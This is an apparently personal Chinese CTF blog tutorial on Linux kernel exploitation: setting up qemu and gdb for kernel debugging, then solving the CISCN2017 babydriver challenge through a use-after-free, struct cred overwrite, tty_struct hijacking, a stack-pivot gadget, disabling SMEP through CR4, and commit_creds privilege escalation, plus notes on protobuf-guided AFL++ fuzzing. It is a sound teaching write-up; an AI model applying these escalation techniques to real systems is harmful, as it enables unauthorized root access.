Setttings 选中 Build static binary (no shared libs), 使其编译成静态链接的文件(因为 kernel 不提供 libc)
需要注意的是,静态编译与链接需要额外安装一个依赖项 glibc-static
。使用以下命令安装:
1 | # redhat/centos系列安装: |
在 Linux System Utilities 中取消选中 Support mounting NFS file systems on Linux < 2.6.23 (NEW)
当前版本默认没有选中该项,因此可以跳过。
编译完成后,使用 make install
命令,将生成文件夹_install
,该目录将成为我们的 rootfs。
接下来在 _install
文件夹下执行以创建一系列文件:
1 | mkdir -p proc sys dev etc/init.d |
之后,在 rootfs 下(即 _install
文件夹下)编写以下 init 挂载脚本:
1 |
|
最后设置 init 脚本的权限,并将 rootfs 打包:
1 | chmod +x ./init |
busybox的编译与安装在构建 rootfs 中不是必须的,但还是强烈建议构建 busybox,因为它提供了非常多的有用工具来辅助使用 kernel。
使用 qemu 启动内核。以下是 CTF wiki 推荐的启动参数:
1 |
|
本着减少参数设置的目的,这是笔者的启动参数:
1 | qemu-system-x86_64 \ |
减少启动的参数个数,可以让我们在入门时,暂时屏蔽掉一些不必要的细节。
这里只设置了三个参数,其中:
-kernel
指定内核镜像文件 bzImage 路径
-initrd
设置内核启动的内存文件系统
-append "nokaslr"
关闭 Kernel ALSR 以便于调试内核注意:
nokaslr
可 千万千万千万别打成nokalsr
了。就因为这个我调试了一个下午的 kernel…是的 CTF Wiki 上的 nokaslr 也是错的,它打成了 nokalsr (xs)
启动好后就可以使用内置的 shell 了。
这里我们在 linux kernel 项目包下新建了一个文件夹:
1 | linux-5.9.8 $ mkdir mydrivers |
之后在该文件夹下放入一个驱动代码ko_test.c
,代码照搬的 CTF-wiki:
1 |
|
代码编写完成后,放入一个 Makefile
文件:
1 | # 指定声称哪些 内核模块 |
注意点:
Makefile 文件名中的首字母
M
一定是大写,否则会报以下错误:
1
2 scripts/Makefile.build:44: /usr/class/kernel_pwn/linux-5.9.8/mydrivers/Makefile: No such file or directory
make[2]: *** No rule to make target '/usr/class/kernel_pwn/linux-5.9.8/mydrivers/Makefile'. Stop.Makefile 中
obj-m
要与刚刚的驱动代码文件名所对应,否则会报以下错误:
1 make[2]: *** No rule to make target '/usr/class/kernel_pwn/linux-5.9.8/mydrivers/ko_test.o', needed by '/usr/class/kernel_pwn/linux-5.9.8/mydrivers/ko_test.mod'. Stop.如果make时遇到以下错误:
1 makefile:6: *** missing separator. Stop.则使用 vim 打开 Makefile,键入
i
以进入输入模式,然后替换掉 make 命令前的前导空格为 tab,最后键入:wq
保存修改。
最后使用 make
即可编译驱动。完成后的目录内容如下所示:
这里我们只关注
ko_test.ko
。
1 | $ tree |
将新编译出来的 *.ko
文件复制进 rootfs 文件夹(busybox-1.34.1/_install
)下,
之后修改 busybox-1.34.1/_install/init
脚本中的内容:
这里需要提权 /bin/sh, 目的是为了使用 root 权限启动 /bin/sh,使得拥有执行
dmesg
命令的权限。
1 | #!/bin/sh |
重新打包 rootfs 并运行 qemu,之后键入 dmesg
命令即可看到 ko_test 模块已被成功加载:
正常情况下,执行 qemu 会弹出一个小框 GUI。若想像上图一样将启动的界面变成当前终端,则需在 qemu 启动时额外指定参数:
-nographic
-append "console=ttyS0"
调试时最好使用 root 权限执行 /bin/sh
,相关修改方法已经在上面说明,此处暂且不表。
在启动 qemu 时,额外指定参数 -gdb tcp::1234
(或者等价的-s
),之后 qemu 将做好 gdb attach 的准备。如果希望 qemu 启动后立即挂起,则必须附带 -S
参数。
同时,调试内核时,为了加载 vmlinux 符号表,必须额外指定 -append "nokaslr"
以关闭 kernel ASLR。这样符号表才能正确的对应至内存中的指定位置,否则将无法给目标函数下断点。
qemu启动后,必须另起一个终端,键入 gdb -q -ex "target remote localhost:1234"
,即可 attach 至 qemu上。
gdb attach 上 qemu 后,可以加载 vmlinux 符号表、给特定函数下断点,并输入 continue
以执行至目标函数处。
1 | # qemu 指定 -S 参数后挂起,此时在gdb键入以下命令 |
对于内核中的各个符号来说,我们也可以通过以下命令来查看一些符号在内存中的加载地址:
1 | # grep <symbol_name> /proc/kalsyms |
坑点1:之前笔者编写了以下 shell 脚本:
1
2
3
4
5
6 # 其他设置
[...]
# **后台** 启动 qemu
qemu-system-x86_64 [other args] &
# 直接在当前终端打开 GDB
gdb -q -ex "target remote localhost:1234"但在执行脚本时,当笔者在 GDB 中键入 Ctrl+C 时, SIGINT 信号将直接终止 qemu 而不是挂起内部的 kernel。因此,gdb必须在另一个终端启动才可以正常处理 Ctrl+C。
正确的脚本如下:
1
2
3
4
5
6 # 其他设置
[...]
# **后台** 启动 qemu
qemu-system-x86_64 [other args] &
# 开启新终端,在新终端中打开 GDB
gnome-terminal -e 'gdb -q -ex "target remote localhost:1234"'
坑点2:对于 gdb gef 插件来说,最好不要使用常规的
target remote localhost:1234
语句(无需root权限)来连接远程,否则会报以下错误:
1
2
3
4
5
6
7
8 gef➤ target remote localhost:1234
Remote debugging using localhost:1234
warning: No executable has been specified and target does not support
determining executable automatically. Try using the "file" command.
0x000000000000fff0 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────── registers ────────────────────────────────────
[!] Command 'context' failed to execute properly, reason: 'NoneType' object has no attribute 'all_registers'与之相对的,使用效果更好的
gef-remote
命令(需要root权限)连接 qemu:
1
2
3 # 一定要提前指定架构
set architecture i386:x86-64
gef-remote --qemu-mode localhost:1234坑点3:如果 qemu 断在
start_kernel
时 gef 报错:
1 [!] Command 'context' failed to execute properly, reason: max() arg is an empty sequence直接单步
ni
一下即可。
首先, 将目标驱动加载进内核中:
1 | insmod <driver_module_name> |
之后,通过以下命令查看 qemu 中内核驱动的 text 段的装载基地址:
1 | # 查看装载驱动 |
在 gdb 窗口中,键入 以下命令以加载调试符号:
1 | add-symbol-file mydrivers/ko_test.ko <ko_test_base_addr> [-s <section1_name> <section1_addr>] ... |
注,与 vmlinux 不同,使用 add-symbol-file 加载内核模块符号时,必须指定内核模块的 text 段基地址。
因为内核位于众所周知的虚拟地址(该地址与 vmlinux elf 文件的加载地址相同),但内核模块只是一个存档,不存在有效加载地址,只能等到内核加载器分配内存并决定在哪里加载此模块的每个可加载部分。因此在加载内核模块前,我们无法得知内核模块将会加载到哪块内存上。故将符号文件加载进 gdb 时,我们必须尽可能显式指定每个 section 的地址。
需要注意的是,加载符号文件时,越多指定每个 section 的地址越好。否则如果只单独指定了 .text 段的基地址,则有可能在给函数下断点时断不下来,非常影响调试。
如何查看目标内核模块的各个 section 加载首地址呢?请执行以下命令:
1 | grep "0x" /sys/module/ko_test/sections/.* |
一个小小例子:调试 ko_test.ko 的步骤如下:
首先在 qemu 中的 kernel shell 执行以下命令
1 | # 首先装载 ko_test 进内核中 |
输出如下:
记录下这些地址,之后进入 gdb 中,先按下 Ctrl+C 断下 kernel,然后键入以下命令:
1 | # 将对应符号加载至该地址处 |
最后回到 qemu 中,在 kernel shell 中执行以下命令:
1 | # 卸载 ko_test |
此时 gdb 会断到 ko_test_exit 中:
如果在卸载了ko_test后,又重新加载 ko_test,
1 | insmod ko_test |
则 gdb 会立即断到 ko_test_init 中:
这可能是因为指定了 nokaslr,使得相同驱动多次加载的基地址是一致的。
上面调试 kernel module 的 init 函数方法算是一个小 trick,它利用了 noaslr 环境下相同驱动重新加载的基地址一致 的原理来下断。但最为正确的调试 init 函数的方式,还是得跟踪 do_init_module
函数的控制流来获取基地址。以下是一系列相关操作步骤:
跟踪
do_init_module
函数是因为它在load_module
函数中被调用。load_module
函数将在完成大量的内存加载工作后,最后进入do_init_module
函数中执行内核模块的 init 函数,并在其中进行善后工作。
load_module
函数将被作为 SYSCALL 函数的init_module
调用。
首先让 kernel 跑飞,等到 kernel 加载完成,shell 界面显示后,gdb 按下 ctrl + C 断下,给 do_init_module
函数下断。该函数的前半部分将会执行 内核模块的 init 函数:
1 | /* |
gdb 键入 continue
再让 kernel 跑飞。之后kernel shell 中输入 insmod /ko_test.ko
装载内核模块,此时gdb会断下。在 gdb 中查看 mod->init
成员即可查看到 kernel module init 函数的首地址。
要想看到当前 kernel module 的全部 section 地址,可以在 gdb 中键入以下命令
1 | # 查看当前 module 的 sections 个数 |
有了当前内核模块的全部 section 名称与基地址后,就可以按照之前的方法来加载符号文件了。
配环境真是一件麻烦到极点的事情,不过目前就到此为止了 :)
笔者将一系列启动命令整合成了一个 shell 脚本,方便一键运行:
1 |
|
gdbinit 内容如下:
1 | set architecture i386:x86-64 |
这里选用 CISCN2017_babydriver 作为笔者入门的第一题。之所以选用这一题是因为网上资料较多,方便学习。
题目附件可在此处下载。
题目给了三个文件,分别是:
初始时,直接解压 babydriver.tar
并运行启动脚本:
1 | # 解压 |
但 KVM 报错,其报错信息如下所示:
1 | Could not access KVM kernel module: No such file or directory |
使用以下命令查看当前 linux in vmware 支不支持虚拟化,发现输出为空,即不支持。
1 | egrep '^flags.*(vmx|svm)' /proc/cpuinfo |
检查了一下物理机的 Virtualization Settings, 已经全部是打开了的。再检查以下 VMware 的CPU配置,发现没有勾选 虚拟化 Intel VT-x/EPT 或 AMD-V/RVI
。
勾选后重新启动 linux 虚拟机,提示此平台不支持虚拟化的 Intel VT-x/EPT
…
经过一番百度,发现是 Hyper-V 没有禁用彻底。彻底禁用的操作如下:
控制面板—程序——打开或关闭Windows功能,取消勾选Hyper-V,确定禁用Hyper-V服务
管理员权限打开 cmd,执行 bcdedit /set hypervisorlaunchtype off
若想重新启用,则执行
bcdedit /set hypervisorlaunchtype auto
重启计算机
之后再启动 linux in Vmware,其内部的 kvm 便可以正常执行了。
查看一下根目录的 /init
文件,不难看出这题需要我们进行内核提权,只有提权后才可以查看 flag。
1 |
|
在提权之前,我们需要先把加载进内核的驱动 dump 出来,这个驱动大概率是一个存在漏洞的驱动。
首先使用 file 命令查看一下 rootfs.cpio 的文件格式:
1 | $ file rootfs.cpio |
可以看到是一个 gzip 格式的文件,因此我们需要给该文件改一下名称,否则 gunzip 将无法识别文件后缀。之后就是解压 gzip + 解包 cpio 的操作:
1 | mv rootfs.cpio rootfs.cpio.gz |
解压之后的文件便是正常的 CPIO 格式:
1 | $ file rootfs.cpio |
使用常规方式给 CPIO 解包即可:
1 | cpio -idmv < rootfs.cpio |
解包完成后,即可在/lib/modules/4.4.72/babydriver.ko
下找到目标驱动。
首先是驱动程序保护:
1 | $ checksec babydriver.ko |
可以看到这里只开启了 NX 保护。
接着再看看 qemu 启动参数,发现启动了 smep 保护。
1 |
|
SMEP(Supervisor Mode Execution Protection 管理模式执行保护):禁止CPU处于 ring0 模式时执行用户空间代码。
还有一个比较相近的保护措施是 SMAP(Superivisor Mode Access Protection 管理模式访问保护):禁止内核CPU访问用户空间的数据。
注意到 没有启动 kaslr。
第一次接触内核题,代码什么的当然需要理清楚了。这里我们一一把驱动函数代码分析过去。
先上代码,这里重点关注红框框住的部分(其余部分是异常处理)
简单精简一下,实际关键代码如下所示:
1 | alloc_chrdev_region(&babydev_no, 0, 1, "babydev"); |
在解释上面的代码之前,我们先来简单学习一下设备文件的相关知识。
对于所有设备文件来说,一共分为三种,分别是:
设备文件可以通过设备文件名来访问,通常位于 /dev 目录下。ls -a
出来的第一个字符即说明了当前设备文件的类型:
1 | # c 表示字符设备 |
我们可以在设备文件条目中最后一次修改日期之前看到两个数字(用逗号分隔),例如上面的 5, 0
(这个位置通常显示的是普通文件的文件长度),对于设备文件条目的信息中,形如5,0
这样的一对数字,分别是特定设备的主设备号和副设备号。
在传统意义上,主设备号标识与设备相关的驱动程序。例如,/dev/null
和 /dev/zero
都是由驱动1管理的。而多个串行终端(即 ttyX, ttySX)是由驱动4管理的。现代的Linux内核已经支持多个驱动程序共享主设备号,但是我们仍然可以看到,目前大多数设备仍然是按照一个主设备号对应一个驱动程序的方式来组织的。
内核使用副设备号来确定引用的是哪个设备,但副设备号的作用仅限于此,内核不会知道更多关于某个特定副设备号的信息。
主设备号和副设备号可同时保存与类型 dev_t
中,而该类型实际上是一个 u32
;其中的12位用于保存主设备号,20位用于保存副设备号。
1 | typedef u32 __kernel_dev_t; |
在编写驱动程序需要使用主副设备号时,最好不要直接进行位运算操作,而是使用 <linux/kdev_t.h>
头文件中的宏定义操作:
1 |
设备文件相关的内容暂时到此为止,现在回归题目。
首先,babydriver_init 函数将会调用 alloc_chrdev_region
函数。该函数的函数声明如下:
1 | /** |
根据当前函数的调用代码:
1 | alloc_chrdev_region(&babydev_no, 0, 1, "babydev"); |
我们不难看出,babydriver_init 函数尝试向内核申请一个字符设备的新的主设备号,其中副设备号从0开始,设备名称为 babydev
,并将申请到的主副设备号存入 babydev_no 全局变量中。
还有一个名为
register_chrdev_region
的函数,它在调用时需要指定主副设备号的起始值,要求内核在起始值的基础上进行分配,与alloc_chrdev_region
功能相似但又有所不同。
设备号分配完成后,我们需要将其连接到实现设备操作的内部函数。
内核使用 cdev
类型的结构来表示字符设备,因此在操作设备之前,内核必须初始化+注册一个这样的结构体。
注意,一个驱动程序可以分配不止一个设备号,创建不止一个设备。
该函数的执行代码如下:
1 | cdev_init(&cdev_0, &fops); |
cdev 结构体的初始化函数如下:
1 | /** |
正如注释中写到,传入的 cdev 指针所对应的 struct cdev
将会被初始化,同时设置该设备的各类操作为传入的 file_operations
结构体指针。
file_operations
结构体中包含了大量的函数指针:
1 | struct file_operations { |
但在这道题中我们只会用到其中的一小部分,即 /baby(open|release|read|write|ioctl)/
。
struct file_operations 中的 owner 指针是必须指向当前内核模块的指针,可以使用宏定义
THIS_MODULE
来获取该指针。
当 cdev 结构体初始化完成后,最后的一步就是使用 cdev_add
告诉内核该设备的设备号。
1 | cdev_add(&cdev_0, babydev_no, 1); |
其中,cdev_add
函数声明如下所示:
1 | /** |
需要注意的是,一旦 cdev_add
函数执行完成,则当前 cdev 设备立即处于活动状态,其操作可以立即被内核调用。因此在编写驱动程序时,务必保证在驱动程序完全准备好处理设备上的操作之后,最后再来调用 cdev_add
。
当驱动模块已经将 cdev 注册进内核后,该函数将会执行以下代码,来将当前设备的设备结点注册进 sysfs 中。
1 | babydev_class = class_create(THIS_MODULE, "babydev"); |
其中,函数 class_create
和 device_create
的声明如下:
1 | /* This is a #define to keep the compiler from merging different |
初始时,init 函数通过调用 class_create
函数创建一个 class
类型的类,创建好后的类存放于sysfs下面,可以在 /sys/class
中找到。
之后函数调用 device_create
函数,动态建立逻辑设备,对新逻辑设备进行初始化;同时还将其与第一个参数所对应的逻辑类相关联,并将此逻辑设备加到linux内核系统的设备驱动程序模型中。这样,函数会自动在 /sys/devices/virtual
目录下创建新的逻辑设备目录,并在 /dev
目录下创建与逻辑类对应的设备文件。
最终实现效果就是,我们便可以在 /dev
中看到该设备。
综上,babydriver_init
函数主要做了几件事:
理解完 init 函数后,理解 exit 函数的逻辑就相当的简单——把该释放的数据结构全部释放。
1 | void __cdecl babydriver_exit() |
该函数代码如下:
babyopen 函数在内核中创建了一个 babydev_struct
的结构体,其中包含了一个 device_buf
指针以及一个 device_buf_len
成员变量。
需要注意的是,kmem_cache_alloc_trace
函数分配内存的逻辑与 kmalloc
类似,笔者怀疑反汇编出来的代码应该是调用 kmalloc
函数优化内敛后的效果:
1 | /** |
babyrelease 函数的逻辑较为简单,这里只是简单的将 babydev_struct.device_buf 释放掉。
但这里需要注意的是,尽管这里释放了指针所指向的内核空间,但 在释放完成后,该函数既没有对device_buf
指针置空,也没有设置 device_buf_len
为0 。
babyread 函数的 IDA 反汇编效果存在错误,这是笔者根据汇编代码修正后的效果:
1 | ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset) |
babyread 函数将在判断完当前 device_buf 是否为空之后,将 device_buf 上的内存拷贝至用户空间的 buffer 内存。
babywrite 功能与 babyread 类似,将用户空间的 buffer 内存上的数据拷贝进内核空间的 device_buf 上,此处不再赘述。该函数修正后的反编译代码如下:
1 | ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset) |
babyioctl 函数的功能类似于 realloc
:将原先的 device_buf 释放,并分配一块新的内存。
但这里有个很重要的点需要注意:该位置的 kmalloc 大小可以被用户任意指定,而不是先前 babyopen 中的 64。
根据上面的分析,最终我们可以得到以下信息:
已开启的保护:
nx
smep
内核模块中可能能利用的点:
编写以下 shell 脚本以快速启动调试会话
1 |
|
exploit 需要静态编译,因为 kernel 不提供标准库,但一定提供 syscall。
获取 vmlinux
我们可以使用 extract-vmlinux 工具,从 bzImage 中解压出 vmlinux。
直接让 gdb 加载 bzImage 时将无法加载到任何 kernel 符号,
因此需要先从 bzImage 中解压出 vmlinux, 再来让 gdb 加载符号。
1 | wget https://raw.githubusercontent.com/torvalds/linux/master/scripts/extract-vmlinux |
但实际上,解压出来的 vmlinux 的函数名称全部为 sub_xxxx
,不方便调试。即便所有的内核符号与函数名称的信息全部位于内核符号表中(或者 /proc/kallsyms
),但一个个对应过去也相当麻烦。
因此还有一个工具可以使用:vmlinux-to-elf
使用这个工具之前系统中必须装有高于3.5版本的python
1 | sudo apt install python3-pip |
使用方式:
1 | # vmlinux-to-elf <input_kernel.bin> <output_kernel.elf> |
之后解压出来的 vmlinux 就是带符号的,可以正常被 gdb 读取和下断点。
查看当前 bzImage 所对应的内核版本,并下载该版本的内核代码(如果有需要,想更细致的研究内核的话)
1 | $ strings bzImage | grep "gcc" # 或者 `file bzImage` 命令 |
启动 kernel 后,别忘记在 gdb 中使用 add-symbol-file
加载 ko 的符号:
1 | # in kernel shell: |
最终设置的 mygdbinit 如下
1 | set architecture i386:x86-64 |
UAF 的常规利用是通过悬垂指针来修改某块特定内存上的数据,因此在这里我们可以试着:
struct cred
结构体重新分配这块内存struct cred
结构体,达到提权的效果struct cred
结构体用于 保存每个进程的权限,其结构如下所示:
1 | /* |
新进程的 struct cred
结构体分配的代码位于 _do_fork -> copy_process -> copy_creds -> prepare_creds
函数调用链中。
为了避开繁琐的内存分配利用,精简利用方式,我们只需要让 babydriver 中释放的 device_buf
内存的大小与 sizeof(struct cred)
一致即可,这样便可以让内核在为 struct cred 分配内存时,分配到刚释放不久的 device_buf 内存。
由于当前 bzImage 解压出来的 vmlinux 没有结构体符号,因此我们可以直接根据默认参数编译出一个新的 vmlinux,并加载该 vmlinux 来获取 struct cred
结构体的大小:
1 | gef➤ p sizeof(struct cred) |
执行完 babyrelease
函数之后,device_buf
就会成为悬垂指针。但需要注意的是,在用户进程空间中,当执行close(fd)
之后,该进程将无法再使用这个文件描述符,因此没有办法在close
后再利用这个 fd 去进行写操作。
但我们可以利用 babydriver 中的变量全是全局变量的这个特性,同时执行两次 open 操作,获取两个 fd。这样即便一个 fd 被 close 了,我们仍然可以利用另一个 fd 来对 device_buf
进行写操作。
这样一套完整的利用流程就出来了,exploit 如下所示:
1 |
|
需要注意的是,当进程执行完 fork 操作后,父进程必须 wait 子进程,否则当父进程被销毁后,该进程成为孤儿进程,将无法使用终端进行输入输出。
利用结果:
在 Linux 中 /dev
目录下,终端设备文件通常有以下几种:
注意:以下这些类型的终端不一定在所有发行版 linux 上都存在,例如
/dev/ttyprintk
就不存在于我的 kali linux 上。
串行端口终端 (/dev/ttySn) :是用于与串行端口连接的终端设备,类似于 Windows 下的 COM。
控制终端 (/dev/tty) :当前进程的控制终端设备文件,类似于符号链接,会具体对应至某个实际终端文件。
可以使用
tty
命令查看其具体对应的终端设备,也可以使用ps -ax
来查看进程与控制终端的映射关系。
在 qemu 下,可以通过指定
-append 'console=ttyS0'
参数,设置 linux kernel tty 映射至/dev/ttySn
上。
虚拟终端与控制台 (/dev/ttyN, /dev/console) :在Linux 系统中,计算机显示器通常被称为控制台终端 (Console)。而在 linux 初始字符界面下,为了同时处理多任务,自然需要多个终端的切换。这些终端由于是用软件来模拟以前硬件的方式,是虚拟出来的,因此也称为虚拟终端。
虚拟终端和控制台的差别需要参考历史。在以前,终端是通过串口连接上的,不是计算机本身就有的设备,而控制台是计算机本身就有的设备,一个计算机只有一个控制台。
简单的说,控制台是直接和计算机相连接的原生设备,终端是通过电缆、网络等等和主机连接的设备
计算机启动的时候,所有的信息都会显示到控制台上,而不会显示到终端上。也就是说,控制台是计算机的基本设备,而终端是附加设备。
由于控制台也有终端一样的功能,控制台有时候也被模糊的统称为终端。
计算机操作系统中,与终端不相关的信息,比如内核消息,后台服务消息,都可以显示到控制台上,但不会显示到终端上。
由于时代的发展,硬件资源的丰富,终端和控制台的概念已经慢慢淡化。
这种虚拟终端的切换与我们X11中图形界面中多个终端的切换不同,它属于更高级别终端的切换。我们日常所使用的图形界面下的终端,属于某个虚拟图形终端界面下的多个伪终端。
可以通过键入 Ctrl+Alt+F1
(其中的 Fx 表示切换至第 x 个终端,例如 F1)来切换虚拟终端。
tty0则是当前所使用虚拟终端的一个别名,系统所产生的信息会发送到该终端上。
默认情况下,F1-F6均为字符终端界面,F7-F12为图形终端界面。
当切换至字符终端界面后,可再次键入
Ctrl+Alt+F7
切回图形终端界面。
伪终端 (/dev/pty):伪终端(Pseudo Terminal)是成对的逻辑终端设备,其行为与普通终端非常相似。所不同的是伪终端没有对应的硬件设备,主要目的是实现双向信道,为其他程序提供终端形式的接口。
当我们远程连接到主机时,与主机进行交互的终端的类型就是伪终端,而且日常使用的图形界面中的多个终端也全都是伪终端。
伪终端的两个终端设备分别称为 master 设备和 slave 设备,其中 slave 设备的行为与普通终端无异。
当某个程序把某个 master 设备看作终端设备并进行读写,则该读写操作将实际反应至该逻辑终端设备所对应的另一个 slave 设备。通常 slave 设备也会被其他程序用于读写。因此这两个程序便可以通过这对逻辑终端来进行通信。
现代 linux 主要使用 UNIX 98 pseudoterminals 标准,即 pts(pseudo-terminal slave, /dev/pts/n) 和 ptmx(pseudo-terminal master, /dev/ptmx) 搭配来实现 pty。
伪终端的使用一会将在下面详细说明。
其他终端 (诸如 /dev/ttyprintk 等等)。这类终端通常是用于特殊的目的,例如 /dev/ttyprintk 直接与内核缓冲区相连:
伪终端的具体实现分为两种
/dev/ptmx
(master)和 /dev/pts/*
(slave)/dev/pty[p-za-e][0-9a-f]
(master) 和 /dev/tty[p-za-e][0-9a-f]
(slave)这里我们只介绍 UNIX 98 pseudoterminals。
/dev/ptmx
这个设备文件主要用于打开一对伪终端设备。当某个进程 open 了 /dev/ptmx
后,该进程将获取到一个指向 新伪终端master设备(PTM) 的文件描述符,同时对应的 新伪终端slave设备(PTS) 将在 /dev/pts/
下被创建。不同进程打开 /dev/ptmx
后所获得到的 PTM、PTS 都是互不相同的。
进程打开 /dev/ptmx 有两种方式
手动使用 open("/dev/ptmx", O_RDWR | O_NOCTTY)
打开
通过标准库函数 getpt
1 |
|
通过标准库函数 posix_openpt
1 |
|
上述几种方式完全等价,只是使用标准库函数的方式会更通用一点,因为 ptmx 在某些 linux 发行版上可能不位于
/dev/ptmx
,同时标准库函数还会做其他额外的检测逻辑。
进程可以调用ptsname(ptm_fd)
来获取到对应的 PTS 的路径。
需要注意的是,必须先顺序调用以下两个函数后才能打开 PTS:
grantpt(ptm_fd)
:更改 slave 的模式和所有者,获取其所有权unlockpt(ptm_fd)
:对 slave 解锁伪终端主要用于两个应用场景
上述几步是使用伪终端所必须调用的一些底层函数。但在实际的伪终端编程中,更加常用的是以下几个函数:
我们可以通过阅读这些函数的源代码来了解伪终端的使用方式。
openpty
:找到一个空闲的伪终端,并将打开好后的 master 和 slave 终端的文件描述符返回。源代码如下:
1 | /* Create pseudo tty master slave pair and set terminal attributes |
login_tty
:用于实现在指定的终端上启动登录会话。源代码如下所示:
1 | int login_tty (int fd) |
forkpty
:整合了openpty
, fork
和 login_tty
,在网络服务程序可用于为新登录用户打开一对伪终端,并创建相应的会话子进程。源代码如下:
1 | int |
当我们执行 open("/dev/ptmx", flag)
时,内核会通过以下函数调用链,分配一个 struct tty_struct
结构体:
1 | ptmx_open (drivers/tty/pty.c) |
struct tty_struct
的结构如下所示:
sizeof(struct tty_struct) == 0x2e0
1 | struct tty_struct { |
注意到第五个字段 const struct tty_operations *ops
,struct tty_operations
结构体实际上是多个函数指针的集合:
1 | struct tty_operations { |
我们可以试着通过 UAF, 修改新分配的 tty_struct 上的 const struct tty_operations *ops
,使其指向一个伪造的 tty_operations
结构体,这样就可以搭配一些操作(例如 open、ioctl 等等)来劫持控制流。
注:tty_operations 函数指针的使用,位于
drivers/tty/tty_io.c
的各类tty_xxx
函数中。
但由于开启了 SMEP 保护,此时的控制流只能在内核代码中执行,不能跳转至用户代码。
为了达到提权目的,我们需要完成以下几件事情:
我们需要通过 ROP 来完成上述操作,但问题是,用户无法控制内核栈。因此我们必须使用一些特殊 gadget 来将栈指针劫持到用户空间,之后再利用用户空间上的 ROP 链进行一系列控制流跳转。
获取 gadget 的方式有很多。可以使用之前用的 ROPgadget
工具,优点是可以将分析结果通过管道保存至文件中,但缺点是该工具在 kernel 层面上会跑的很慢。
1 | ROPgadget --binary vmlinux |
有个速度比较快的工具可以试试,那就是 ropper
工具:
1 | pip3 install ropper |
我们可以手动构造一个 fake_tty_operations,并修改其中的 write
函数指针指向一个 xchg 指令。这样当对 /dev/ptmx
执行 write 操作时,内核就会通过以下调用链:
tty_write
->do_tty_write
->do_tty_write
->n_tty_write
->tty->ops->write
进一步使用到 tty->ops->write
函数指针,最终执行 xchg
指令。
但问题是,执行什么样的 xchg 指令?通过动态调试与 IDA 静态分析,最终找到了实际调用 tty->ops->write
的指令位置:
1 | .text:FFFFFFFF814DC0C3 call qword ptr [rax+38h] |
由于当控制流执行至此处时,只有 %rax
是用户可控的(即fake_tty_operations
基地址),因此我们尝试使用以下 gadget,劫持 %rsp
指针至用户空间:
1 | 0xffffffff8100008a : xchg eax, esp ; ret |
注意:
xchg eax, esp
将清空两个寄存器的高位部分。因此执行完成后,%rsp 的高四字节为0,此时指向用户空间。我们可以使用 mmap 函数占据这块内存,并放上 ROP 链。
以下是劫持栈指针的部分代码:
1 | int fd1 = open("/dev/babydev", O_RDWR); |
可以看到栈指针已经成功被劫持到用户空间中:
劫持栈指针后,我们现在可以尝试提权。正常来说,在内核里需要执行以下代码来进行提权:
1 | struct cred * root_cred = prepare_kernel_cred(NULL); |
其中,prepare_kernel_cred
函数用于获取传入 task_struct
结构指针的 cred 结构。需要注意的是,如果传入的指针是 NULL,则函数返回的 cred 结构将是 init_cred,其中uid、gid等等均为 root 级别。
commit_creds
函数用于将当前进程的 cred
更新为新传入的 cred
结构,如果我们将当前进程的 cred 更新为 root 等级的 cred,则达到我们提权的目的。
为了利用简便,我们可以先关闭 SMEP,跳转进用户代码中直接执行预编译好的提权指令。
SMEP 标志在寄存器 CR4 上,因此我们可以通过重设 CR4 寄存器来关闭 SMEP,最后提权:
我们先看一下当前的 cr4 寄存器的值
之后只要将 cr4 覆盖为 0x6f0 即可。
相关实现如下所示:
1 | void set_root_cred(){ |
当我们提权了当前进程后,剩下要做的事情就是返回至用户态并启动新shell。
可能有小伙伴会问,既然都劫持了内核控制流了,那是不是可以直接启动 shell ?为什么还要返回至用户态?
个人的理解是,劫持内核控制流后,由于改变了内核的正常运行逻辑,因此此时内核鲁棒性降低,稍微敏感的一些操作都有可能会导致内核挂掉。最稳妥的方式是回到更加稳定的用户态中,而且 root 权限的用户态程序同样可以做到内核权限所能做到的事情。
除了上面所说的以外,还有一个很重要的原因是:一般情况下在用户空间构造特定目的的代码要比在内核空间简单得多。
如何从内核态返回至用户态中?我们可以从 syscall 的入口代码入手,先看看这部分代码:
1 | ENTRY(entry_SYSCALL_64) |
可以看到,控制流以进入入口点后,并立即执行swapgs
指令,将当前 GS 寄存器切换成 kernel GS,之后切换栈指针至内核栈,并在内核栈中构造结构体 pt_regs
。
该结构体声明如下:
1 | struct pt_regs { |
结合动态调试可以发现,在控制流到达 syscall 入口点之前,pt_regs
结构体中的 rip
、cs
、eflags
、rsp
以及 ss
五个寄存器均已压栈。
我们还可以在该文件中找到下面的代码片段
1 | opportunistic_sysret_failed: |
根据上面的分析信息,我们不难推断出,若想从内核态返回至用户态,则需要依次完成以下两件事情:
因此最终实现的部分代码如下:
1 | void get_shell() { |
在往常的用户层面的利用,我们无需关注缺页错误这样的一个无关紧要的异常。然而在内核利用中,缺页错误往往非常致命(不管是否是可恢复的,即正常的缺页错误也很致命),大概率会直接引发 double fault,致使内核重启:
因此在构造 ROP 链时,应尽量避免在内核中直接引用那些尚未装载页面的内存页。
再一个问题是单步调试。在调试内核 ROP 链时,有概率会在单步执行时直接跑炸内核,但先给该位置下断点后,再跑至该位置则执行正常。这个调试…仁者见仁智者见智吧(滑稽)
完整的 exploit 如下所示:
1 |
|
运行效果:
下面是一个简化版的 exploit:
1 |
|
看 fuzz 的结构感知 时遇到了 protobuf,觉得很有意思,于是尝试使用 protobuf 来进行快速简易的 CTF fuzz。
以下以 TCTF2021-babyheap2021 为例,来简单说明一下自动化步骤。
这里主要用到以下项目:
需要注意的是,该 fuzz 目前处于实验性版本,可能不太稳定,仅作为学习研究使用。
git clone 下 AFL++ 和 afl-libprotobuf-mutator (链接在上面)即可。
首先,用 ida64 打开 babyheap2021, F5阅读伪代码并总结其输入模板,最后用 protobuf 描述输入结构:
这类菜单题的输入模板大体上比较固定,下面的代码随便改改就能换一道题目用用。
代码编写完成后,覆盖保存至 afl-libprotobuf-mutator/gen/out.proto
。注意路径必须完成一致,若遇到重名文件 out.proto 则直接替换。
如果不会写 protobuf 描述的话,可以看看这个 Protocol Buffers Tutorials。
1 | // out.proto |
到了这里,我们需要理一理思路。对于CTF题来说,大多都是直接从 stdin 中获取输入的文本数据。因此首先,我们需要编写 Protobuf::Message
转常规输入字符串的代码:
1 | void ProtoToDataHelper(std::stringstream &out, const google::protobuf::Message &msg) { |
之后,参照 AFL++ 的 Custom Mutators in AFL++,完成一些必要的 custom mutate 函数。
这里我们需要完成以下几种函数:
void *afl_custom_init(void *afl, unsigned int seed)
